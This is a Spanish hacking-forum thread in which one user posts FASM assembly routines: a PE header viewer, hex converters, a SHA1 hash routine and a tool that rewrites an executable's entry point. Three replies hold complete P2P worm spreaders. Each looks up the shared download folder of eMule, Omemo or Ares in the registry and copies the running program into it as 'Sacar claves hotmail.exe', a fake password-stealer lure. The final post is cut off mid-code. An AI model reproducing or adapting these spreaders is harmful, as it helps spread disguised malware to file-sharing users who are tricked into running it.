elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Recopilación de mis codigos.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 5 6 Ir Abajo Respuesta Imprimir
Autor Tema: Recopilación de mis codigos.  (Leído 30,874 veces)
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #20 en: 1 Junio 2009, 00:45 am »

Código
  1. include 'win32ax.inc'
  2. INVALID_FILE_SIZE = 0xffffffff
  3. .code
  4. start:
  5. stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
  6. .if eax = 0
  7. invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
  8. .else
  9. invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
  10. .endif
  11. invoke ExitProcess,0
  12.  
  13.  
  14. proc ChangeEntryPoint,Path,NewEP:DWORD
  15. locals
  16. Handle dd ?
  17. Tamaño dd ?
  18. Emezeta dd ?
  19. cantidad dd ?
  20. endl
  21. push ebx
  22. invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
  23. cmp eax,INVALID_HANDLE_VALUE
  24. je .error
  25. mov [Handle],eax                                     ;Guardamos el handle
  26. invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
  27. cmp eax,INVALID_FILE_SIZE
  28. je .error
  29. mov [Tamaño], eax
  30. invoke  GlobalAlloc, GPTR, eax
  31. mov [Emezeta], eax
  32. invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
  33. cmp eax,TRUE
  34. jne .error
  35. invoke CloseHandle,[Handle]     ;Cerramos el handle
  36. cmp eax,NULL
  37. je .error
  38.  
  39. mov ebx,[Emezeta]
  40. cmp word[ebx],"MZ"
  41. jne .error
  42.  
  43. add ebx,dword[ebx+03ch]
  44. cmp word[ebx],"PE"
  45. jne .error
  46.  
  47. xor eax,eax
  48. mov eax,[NewEP]
  49. mov dword[ebx+28h],eax      ;Cambiamos el EP
  50.  
  51. invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
  52. cmp eax,INVALID_HANDLE_VALUE
  53. je .error
  54.               mov [Handle], eax
  55.  
  56.                ;Escibimos el archivo
  57.                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
  58.  
  59.                ; "Cerramos" el archivo
  60.                invoke CloseHandle,[Handle]
  61.  
  62. cmp eax,NULL
  63. je .error
  64. mov eax,1
  65. jmp .salir
  66. .error:
  67. xor eax,eax
  68. .salir:
  69. pop ebx
  70. ret
  71. endp
  72. .end start


En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #21 en: 1 Junio 2009, 00:46 am »

Código
  1. proc EOFExtraDataExtract,FHandle
  2. push esi  ebx
  3. mov eax,[FHandle]
  4. mov esi,dword[eax+03ch] ;Offset to start of PE header
  5. add esi,eax
  6. movzx ebx, word[esi+06h] ;Number Of Sections
  7. dec ebx
  8. mov eax,28h
  9. mul ebx
  10. add esi,0xf8 ;START OF SECTION TABLE
  11. add esi,eax
  12. mov eax,dword[esi+10h] ;SizeOfRawData
  13. add eax,dword[esi+14h]  ;pointerToRawData
  14. pop ebx esi
  15. ret
  16. endp


En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #22 en: 1 Junio 2009, 00:49 am »

Código
  1. format pe console
  2. include 'win32ax.inc'
  3. .data
  4. Espacio equ 13,10,0   ;Para pasar a una nueva linea.
  5. RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
  6. PunteroPEheader dd ? ; Puntero de el Pe header
  7. Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
  8.     db '                      =         PE visor by YST         =',13,10
  9.     db '                      ===================================',13,10,0
  10.  
  11. LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
  12.            db '                      =           General               =',13,10
  13.            db '                      ===================================',13,10,0
  14.  
  15. LogoSecciones db '                      ===================================',13,10
  16.              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
  17.              db '                      ===================================',13,10,0
  18.  
  19. LogoExport    db '                      ===================================',13,10
  20.              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
  21.              db '                      ===================================',13,10,0
  22. LogoImport    db '                      ===================================',13,10
  23.              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
  24.              db '                      ===================================',13,10,0
  25. FHandle dd ?  ; MZ de el archivo
  26. .code
  27. start:
  28. invoke system,"color 3" ;Ponemos el color de texto
  29. invoke printf,Logo      ;Imprimimos el logo
  30. invoke printf,Espacio   ;Ponemos dos nuevas lineas.
  31. invoke printf,Espacio
  32.  
  33. invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
  34. invoke printf,Espacio
  35. invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo
  36.  
  37. invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
  38. .if eax = 0     ; Si hay error
  39. invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
  40. invoke printf,RutaArchivo
  41. invoke ExitProcess,0 ; Nos salimos.
  42. .else ; De lo contrario
  43. .if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
  44. mov [FHandle],eax      ; Guardamos el MZ en FHandle
  45. .else  ; De lo contrario
  46. invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
  47. invoke ExitProcess,0 ; Nos salimos.
  48. .endif ; Terminamos los if
  49. .endif
  50.  
  51. add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
  52. .if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
  53. mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
  54. .else  ; De lo contrario
  55. invoke printf,"No se a detectado PE header." ;Mostramos el error .
  56. invoke ExitProcess,0 ; Nos salimos.
  57. .endif ; Terminamos los if
  58. .endif
  59.  
  60. invoke printf,Espacio ; Pasamos a la siguiente linea.
  61. invoke printf,Espacio ; Pasamos a la siguiente linea.
  62. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
  63. invoke printf,Espacio ; Pasamos a la siguiente linea.
  64. invoke printf,Espacio ; Pasamos a la siguiente linea.
  65.  
  66. mov ebx,[FHandle]
  67. mov ebx,dword[ebx+03ch]
  68. invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
  69. invoke printf,Espacio ; Pasamos a la siguiente linea.
  70.  
  71. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
  72. invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
  73. invoke printf,Espacio ; Pasamos a la siguiente linea.
  74.  
  75.  
  76.  
  77. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
  78. invoke printf,Espacio ; Pasamos a la siguiente linea.
  79.  
  80.  
  81. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
  82. invoke printf,Espacio ; Pasamos a la siguiente linea.
  83.  
  84.  
  85. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
  86. invoke printf,Espacio ; Pasamos a la siguiente linea.
  87.  
  88.  
  89. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
  90. invoke printf,Espacio ; Pasamos a la siguiente linea.
  91.  
  92. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
  93. invoke printf,Espacio ; Pasamos a la siguiente linea.
  94.  
  95.  
  96. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
  97. invoke printf,Espacio ; Pasamos a la siguiente linea.
  98.  
  99. invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
  100. .if dword[ebx+5Ch] = 2h  ;SI es GUI
  101. invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
  102. .else             ; De lo contrario es CUI (Consola)
  103. invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
  104. .endif        ;Terminamos el if
  105. invoke printf,Espacio ; Pasamos a la siguiente linea.
  106. stdcall EOFExtraDataExtract,[FHandle]
  107. invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
  108. invoke printf,Espacio ; Pasamos a la siguiente linea.
  109.  
  110. invoke printf,Espacio ; Pasamos a la siguiente linea.
  111. invoke printf,Espacio ; Pasamos a la siguiente linea.
  112. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
  113. invoke printf,Espacio ; Pasamos a la siguiente linea.
  114. invoke printf,Espacio ; Pasamos a la siguiente linea.
  115.  
  116. mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
  117. movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.
  118.  
  119.  
  120.  
  121. invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
  122. invoke printf,Espacio ; Pasamos a la siguiente linea.
  123. invoke printf,Espacio ; Pasamos a la siguiente linea.
  124.  
  125. .bucleImprimeSecciones: ; Bucle que imprime secciones
  126. dec ebx    ;Les restamos uno a ebx
  127. mov eax,28h       ;Hacemos que eax sea igual a $28
  128. mul ebx           ;Multiplicamos ebx
  129. add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
  130. add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
  131. mov edi,eax       ;Guardamos eax en edi
  132. invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
  133. invoke printf,Espacio ; Pasamos a la siguiente linea.
  134. invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
  135. invoke printf,Espacio  ; Pasamos a la siguiente linea
  136. invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
  137. invoke printf,Espacio  ; Pasamos a la siguiente linea
  138. invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
  139. invoke printf,Espacio  ; Pasamos a la siguiente linea
  140. invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
  141. invoke printf,Espacio  ; Pasamos a la siguiente linea
  142. invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
  143. invoke printf,Espacio  ; Pasamos a la siguiente linea
  144. invoke printf,Espacio  ; Pasamos a la siguiente linea
  145. invoke printf,Espacio  ; Pasamos a la siguiente linea
  146.  
  147. cmp ebx,0
  148. jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
  149.  
  150. invoke printf,Espacio ; Pasamos a la siguiente linea.
  151. invoke printf,Espacio ; Pasamos a la siguiente linea.
  152. invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
  153. invoke printf,Espacio ; Pasamos a la siguiente linea.
  154. invoke printf,Espacio ; Pasamos a la siguiente linea.
  155.  
  156. .if dword[esi+078h] = 0    ; Si no hay export data
  157. invoke printf,"[+]No se exporta ninguna funcion."
  158. invoke printf,Espacio ; Pasamos a la siguiente linea.
  159. .else
  160. mov ebx,dword[esi+078h]
  161. add ebx,[FHandle]
  162. invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
  163. invoke printf,Espacio ; Pasamos a la siguiente linea.          +
  164. mov edi,dword[ebx+20h]   ;AddressOfNames
  165. add edi,[FHandle]
  166. mov ebx,dword[ebx+18h]   ;Numero de exports
  167. invoke printf,"Funciones exportadas: "
  168.  invoke printf,Espacio
  169. .bucleExportData:           ;Bucle para imprimir la export data
  170. dec ebx
  171. mov        eax, [edi + ebx * 4]
  172. add eax,[FHandle]
  173. invoke printf,"[+]%s",eax
  174.  invoke printf,Espacio
  175.  cmp ebx,0
  176.  jne .bucleExportData  ;Si no se an imprimido todas seguimos
  177. .endif
  178. invoke printf,LogoImport
  179. invoke printf,Espacio
  180. invoke printf,Espacio
  181.  mov eax,[PunteroPEheader]
  182. .if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
  183. invoke printf,"[+]No importa ninguna funcion."
  184. .else;De lo contrario
  185. stdcall Sacaimport,[FHandle]
  186. .endif
  187. invoke system,"pause"
  188. invoke ExitProcess,0
  189.  
  190. proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
  191. push esi  ebx
  192. mov eax,[FHandle]
  193. mov esi,dword[eax+03ch] ;Offset to start of PE header
  194. add esi,eax
  195. movzx ebx, word[esi+06h] ;Number Of Sections
  196. dec ebx
  197. mov eax,28h
  198. mul ebx
  199. add esi,0xf8 ;START OF SECTION TABLE
  200. add esi,eax
  201. mov eax,dword[esi+10h] ;SizeOfRawData
  202. add eax,dword[esi+14h]  ;pointerToRawData
  203. pop ebx esi
  204. ret
  205. endp
  206. proc Sacaimport ,handle
  207. locals
  208. Export dd ?
  209. endl
  210. pushad
  211. mov eax,[handle]
  212. mov ebx,dword[eax+03ch]
  213. add ebx,eax
  214. mov ebx,dword[ebx+80h]
  215. add ebx,eax
  216. mov [Export],ebx
  217. .buclelib:
  218. mov ebx,[Export]
  219. mov edi,dword[ebx+0ch]
  220. cmp edi,0
  221. je .salir
  222. add edi,[handle]
  223. invoke printf,"- Funciones de %s: ",edi
  224. invoke printf,"%s",Espacio
  225. xor esi,esi
  226. mov esi,dword[ebx]
  227. add esi,[handle]
  228. mov edi,esi
  229. xor ebx,ebx
  230. .bucleapi:
  231. xor esi,esi
  232. mov esi,dword[edi+ebx]
  233. cmp esi,0
  234. je .otralib
  235. add esi,[handle]
  236. add esi,2h
  237. invoke printf," [*]%s",esi
  238. invoke printf,"%s",Espacio
  239. add ebx,04h
  240. jmp .bucleapi
  241. .otralib:
  242. add  [Export] ,14h
  243. jmp .buclelib
  244. .salir:
  245. popad
  246. ret
  247. endp
  248.  
  249. .end start
  250. section '.reloc' fixups data discardable
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #23 en: 12 Junio 2009, 22:08 pm »

Código
  1. ;Descripción: Convierte un dato a hexadecimal
  2. ; by YST
  3. proc StringToHex,cPuntero,cCantidad,cBuffer
  4. pushad
  5. mov esi,[cPuntero]
  6.  
  7. mov edi,[cBuffer]
  8. .bucle:
  9. cmp  [cCantidad],0
  10. je .salir
  11. xor edx,edx
  12. movzx eax,byte[esi]
  13. mov ebx,16
  14. div ebx
  15. mov bl, byte[numeros+eax]
  16. mov byte[edi],bl
  17. mov bl, byte[numeros+edx]
  18. mov byte[edi+1],bl
  19. add edi,2
  20. inc esi
  21. dec  [cCantidad]
  22. jmp  .bucle
  23. .salir:
  24. popad
  25. ret
  26. numeros db '0123456789ABCDEF',0  
  27. endp            
« Última modificación: 12 Junio 2009, 22:11 pm por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #24 en: 12 Junio 2009, 23:58 pm »

Código
  1. proc HexToString,cPuntero,cCantidad,cBuffer
  2. pushad
  3. mov edi,[cPuntero]
  4. mov esi,[cBuffer]
  5. .bucle:
  6. cmp [cCantidad] ,0
  7. je .salir
  8. movzx eax,byte[edi]
  9. xor edx,edx
  10. mov ebx,16
  11. div ebx
  12. mov ecx,edx
  13. .if byte[edi] >= 'A'
  14. add ecx,9
  15. .endif
  16. xor edx,edx
  17. mov eax,16
  18. mul ecx
  19. mov ecx,eax
  20. movzx eax,byte[edi+1]
  21. xor edx,edx
  22. mov ebx,16
  23. div ebx
  24. .if byte[edi+1] >= 'A'
  25. add edx,9
  26. .endif
  27. add ecx,edx
  28. mov byte[esi],cl
  29. inc esi
  30. add edi,2
  31. dec [cCantidad]
  32. jmp  .bucle
  33. .salir :
  34. popad
  35. ret
  36. endp
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #25 en: 13 Junio 2009, 04:26 am »

Código
  1. include 'win32ax.inc'
  2. .data
  3. buffer rb 41
  4. var0 db "12345",0
  5. .code
  6. start:
  7. invoke lstrlen,var0
  8.  
  9. stdcall  SHA1Hash ,var0 ,eax,buffer
  10.  
  11.  
  12.    invoke MessageBox,0,buffer,buffer,0
  13.  leave
  14. ret
  15.  ;Descripción: Saca el hash sha1 de un dato
  16. ; by YST
  17. proc SHA1Hash ,pbData,dwDataLen,cBuffer
  18. locals
  19. hProv dd ?
  20. PROV_RSA_FULL = 1
  21.  CALG_SHA = 0x00008004
  22.  hHash dd ?
  23.  cBuf rb 40
  24.  dwSigLen dd ?
  25. endl
  26. pushad
  27. invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,0
  28. .if [hProv] = 0
  29. invoke CryptAcquireContext,addr hProv,0,0,PROV_RSA_FULL,8h
  30. .endif
  31.  
  32. invoke CryptCreateHash,[hProv],CALG_SHA, 0, 0, addr hHash
  33. invoke CryptHashData,[hHash], [pbData],[dwDataLen]   , 0
  34.  
  35.   invoke CryptGetHashParam,[hHash], 2, 0,addr dwSigLen, 0
  36.    .if [dwSigLen] <> 0
  37. invoke CryptGetHashParam,[hHash], 2, addr cBuf,addr dwSigLen, 0
  38. .endif
  39.  
  40. invoke CryptDestroyHash,[hHash]
  41. invoke CryptReleaseContext,[hProv], 0
  42. stdcall StringToHex,addr cBuf,20,[cBuffer]
  43. popad
  44. ret
  45. endp
  46. ;Descripción: Convierte un dato a hexadecimal
  47. ; by YST
  48. proc StringToHex,cPuntero,cCantidad,cBuffer
  49. pushad
  50. mov esi,[cPuntero]
  51.  
  52. mov edi,[cBuffer]
  53. .bucle:
  54. cmp  [cCantidad],0
  55. je .salir
  56. xor edx,edx
  57. movzx eax,byte[esi]
  58. mov ebx,16
  59. div ebx
  60. mov bl, byte[numeros+eax]
  61. mov byte[edi],bl
  62. mov bl, byte[numeros+edx]
  63. mov byte[edi+1],bl
  64. add edi,2
  65. inc esi
  66. dec  [cCantidad]
  67. jmp  .bucle
  68. .salir:
  69. popad
  70. ret
  71. numeros db '0123456789ABCDEF',0  
  72. endp
  73. .end start
  74.  
« Última modificación: 13 Junio 2009, 17:40 pm por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #26 en: 19 Junio 2009, 22:12 pm »

Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11. stdcall Zerar,addr lBuffer,MAX_PATH
  12. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\eMule" , "Install Path",addr lBuffer
  13. .if eax = 0
  14. jmp .exit
  15. .endif
  16. invoke lstrcat,addr lBuffer,"\config\preferences.ini"
  17. invoke PathFileExists,addr lBuffer
  18. .if eax <> 0
  19. stdcall Zerar,addr lBuffer2,MAX_PATH
  20. invoke GetPrivateProfileString,"eMule", "IncomingDir", 0, addr lBuffer2, 260, addr lBuffer
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. invoke lstrcat, addr lBuffer2,cName
  25. MOV     EaX, [FS:30h]
  26. MOV     EaX, [EaX + 10h]
  27. MOV     EaX, [EaX + 3Ch]
  28. stdcall Zerar,addr lBuffer3,MAX_PATH
  29. stdcall UniToAscii, addr lBuffer3,eax
  30. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  31. jmp .exit
  32. .else
  33. jmp .exit
  34. .endif
  35. .exit:
  36. invoke ExitProcess,0
  37. endp
  38. proc UniToAscii, ascii, unicode
  39. push esi
  40. push edi
  41. mov esi, [unicode]
  42. mov edi, [ascii]
  43. .count:
  44. .if byte[esi] <> 0
  45. movsb
  46. jmp .count
  47. .endif
  48. inc esi
  49. .if byte[esi] = 0
  50. jmp .exit
  51. .endif
  52. jmp .count
  53. .exit:
  54.  
  55. mov eax, edi
  56. add eax, 2
  57. pop edi
  58. pop esi
  59. ret
  60. endp
  61. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  62. push ecx
  63. push ebx
  64. mov ecx,[Cantidad]
  65. mov ebx,[Puntero]
  66. .bucle:
  67. mov byte[ebx+ecx],0
  68. loop .bucle
  69. mov byte[ebx],0
  70. pop ebx
  71. pop ecx
  72. ret
  73. endp
  74. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  75. locals
  76. temp dd ?
  77. Result dd ?
  78. endl
  79. mov [temp],MAX_PATH*3
  80. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  81. .if eax <> 0 ;Si no hay datos devolvemos 0
  82. xor eax,eax
  83. jmp  .salir
  84. .endif
  85.  
  86. lea ebx,[temp]
  87. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  88. .if eax <> 0 ;Si no hay datos devolvemos 0
  89. xor eax,eax
  90. jmp  .salir
  91. .endif
  92. mov eax,TRUE
  93. .salir:
  94. ret
  95. endp
  96. section '.idata' import data readable
  97. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll'
  98. include 'api/kernel32.inc'
  99. include 'api/advapi32.inc'
  100.   import shlwapi,PathFileExists,'PathFileExistsA'
  101.  
  102.  
« Última modificación: 20 Junio 2009, 02:17 am por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #27 en: 20 Junio 2009, 02:18 am »

Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_LOCAL_MACHINE,"SOFTWARE\Omemo" , "InstallDir",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. invoke lstrcat,addr lBuffer,"\Omemo.ini"
  19. invoke PathFileExists,addr lBuffer
  20. .if eax <> 0
  21. stdcall Zerar,addr lBuffer2,MAX_PATH
  22. invoke GetPrivateProfileString,"global", "SAVE_AS_FOLDER", 0, addr lBuffer2, 260, addr lBuffer
  23. invoke lstrlen,addr lBuffer2
  24. lea ebx,[lBuffer2]
  25. mov byte[ebx+eax],"\"
  26. invoke lstrcat, addr lBuffer2,cName
  27. MOV     EaX, [FS:30h]
  28. MOV     EaX, [EaX + 10h]
  29. MOV     EaX, [EaX + 3Ch]
  30. stdcall Zerar,addr lBuffer3,MAX_PATH
  31. stdcall UniToAscii, addr lBuffer3,eax
  32. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  33. jmp .exit
  34. .else
  35. jmp .exit
  36. .endif
  37. .exit:
  38. invoke ExitProcess,0
  39. endp
  40. proc UniToAscii, ascii, unicode
  41. push esi
  42. push edi
  43. mov esi, [unicode]
  44. mov edi, [ascii]
  45. .count:
  46. .if byte[esi] <> 0
  47. movsb
  48. jmp .count
  49. .endif
  50. inc esi
  51. .if byte[esi] = 0
  52. jmp .exit
  53. .endif
  54. jmp .count
  55. .exit:
  56.  
  57. mov eax, edi
  58. add eax, 2
  59. pop edi
  60. pop esi
  61. ret
  62. endp
  63. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  64. push ecx
  65. push ebx
  66. mov ecx,[Cantidad]
  67. mov ebx,[Puntero]
  68. .bucle:
  69. mov byte[ebx+ecx],0
  70. loop .bucle
  71. mov byte[ebx],0
  72. pop ebx
  73. pop ecx
  74. ret
  75. endp
  76. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  77. locals
  78. temp dd ?
  79. Result dd ?
  80. endl
  81. mov [temp],MAX_PATH*3
  82. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  83. .if eax <> 0 ;Si no hay datos devolvemos 0
  84. xor eax,eax
  85. jmp  .salir
  86. .endif
  87.  
  88. lea ebx,[temp]
  89. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  90. .if eax <> 0 ;Si no hay datos devolvemos 0
  91. xor eax,eax
  92. jmp  .salir
  93. .endif
  94. mov eax,1
  95. .salir:
  96. ret
  97. endp
  98. section '.idata' import data readable
  99. library shlwapi,'shlwapi.dll',kernel32,'kernel32.dll' ,advapi32,'advapi32.dll',user32,'user32.dll'
  100. include 'api/kernel32.inc'
  101. include 'api/advapi32.inc'
  102. include  'api/user32.inc'
  103.   import shlwapi,PathFileExists,'PathFileExistsA'
  104.  
En línea



Yo le enseñe a Kayser a usar objetos en ASM
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Recopilación de mis codigos.
« Respuesta #28 en: 20 Junio 2009, 02:35 am »

Código
  1. include 'win32ax.inc'
  2. entry start
  3. .code
  4. cName equ "Sacar claves hotmail.exe" ; Nombre con que nos copiaremos
  5. proc start
  6. locals
  7. lBuffer rb MAX_PATH
  8. lBuffer2  rb MAX_PATH
  9. lBuffer3  rb MAX_PATH
  10. endl
  11.  
  12. stdcall Zerar,addr lBuffer,MAX_PATH
  13. stdcall LeerRegistro,HKEY_CURRENT_USER,"Software\Ares" , "Download.Folder",addr lBuffer
  14. .if eax = 0
  15. jmp .exit
  16. .endif
  17.  
  18. stdcall Zerar,addr lBuffer2,MAX_PATH
  19. invoke lstrlen,addr lBuffer
  20. stdcall HexToString,addr lBuffer,eax,addr lBuffer2
  21. invoke lstrlen,addr lBuffer2
  22. lea ebx,[lBuffer2]
  23. mov byte[ebx+eax],"\"
  24. mov ebx,MAX_PATH
  25. sub ebx,eax
  26. lea edx,[lBuffer2]
  27. inc eax
  28. add eax,edx
  29. stdcall Zerar,eax,ebx
  30. invoke lstrcat, addr lBuffer2,cName
  31.  
  32. MOV     EaX, [FS:30h]
  33. MOV     EaX, [EaX + 10h]
  34. MOV     EaX, [EaX + 3Ch]
  35. stdcall Zerar,addr lBuffer3,MAX_PATH
  36. stdcall UniToAscii, addr lBuffer3,eax
  37. invoke CopyFile, addr lBuffer3,  addr lBuffer2,0
  38. .exit:
  39. invoke ExitProcess,0
  40. endp
  41. proc UniToAscii, ascii, unicode
  42. push esi
  43. push edi
  44. mov esi, [unicode]
  45. mov edi, [ascii]
  46. .count:
  47. .if byte[esi] <> 0
  48. movsb
  49. jmp .count
  50. .endif
  51. inc esi
  52. .if byte[esi] = 0
  53. jmp .exit
  54. .endif
  55. jmp .count
  56. .exit:
  57.  
  58. mov eax, edi
  59. add eax, 2
  60. pop edi
  61. pop esi
  62. ret
  63. endp
  64. proc Zerar,Puntero,Cantidad  ;Funcion que llena de 0 una posicion
  65. push ecx
  66. push ebx
  67. mov ecx,[Cantidad]
  68. mov ebx,[Puntero]
  69. .bucle:
  70. mov byte[ebx+ecx],0
  71. loop .bucle
  72. mov byte[ebx],0
  73. pop ebx
  74. pop ecx
  75. ret
  76. endp
  77. proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
  78. locals
  79. temp dd ?
  80. Result dd ?
  81. endl
  82. mov [temp],MAX_PATH*3
  83. invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
  84. .if eax <> 0 ;Si no hay datos devolvemos 0
  85. xor eax,eax
  86. jmp  .salir
  87. .endif
  88.  
  89. lea ebx,[temp]
  90. invoke RegQueryValueEx  ,[Result],[cCampo],0,0,[cBuffer],ebx
  91. .if eax <> 0 ;Si no hay datos devolvemos 0
  92. xor eax,eax
  93. jmp  .salir
  94. .endif
  95. mov eax,1
  96. .salir:
  97. ret
  98. endp
  99. proc HexToString,cPuntero,cCantidad,cBuffer
  100. pushad
  101. mov edi,[cPuntero]
  102. mov esi,[cBuffer]
  103. .bucle:
  104. cmp [cCantidad] ,0
  105. je .salir
  106. movzx eax,byte[edi]
  107. xor edx,edx
  108. mov ebx,16
  109. div ebx
  110. mov ecx,edx
  111. .if byte[edi] >= 'A'
  112. add ecx,9
  113. .endif
  114. xor edx,edx
  115. mov eax,16
  116. mul ecx
  117. mov ecx,eax
  118. .if word[edi] = "C3" | word[edi]= "c3"
  119. mov byte[esi],"ó"
  120. add edi,4
  121. inc esi
  122. sub [cCantidad],2
  123. jmp .bucle
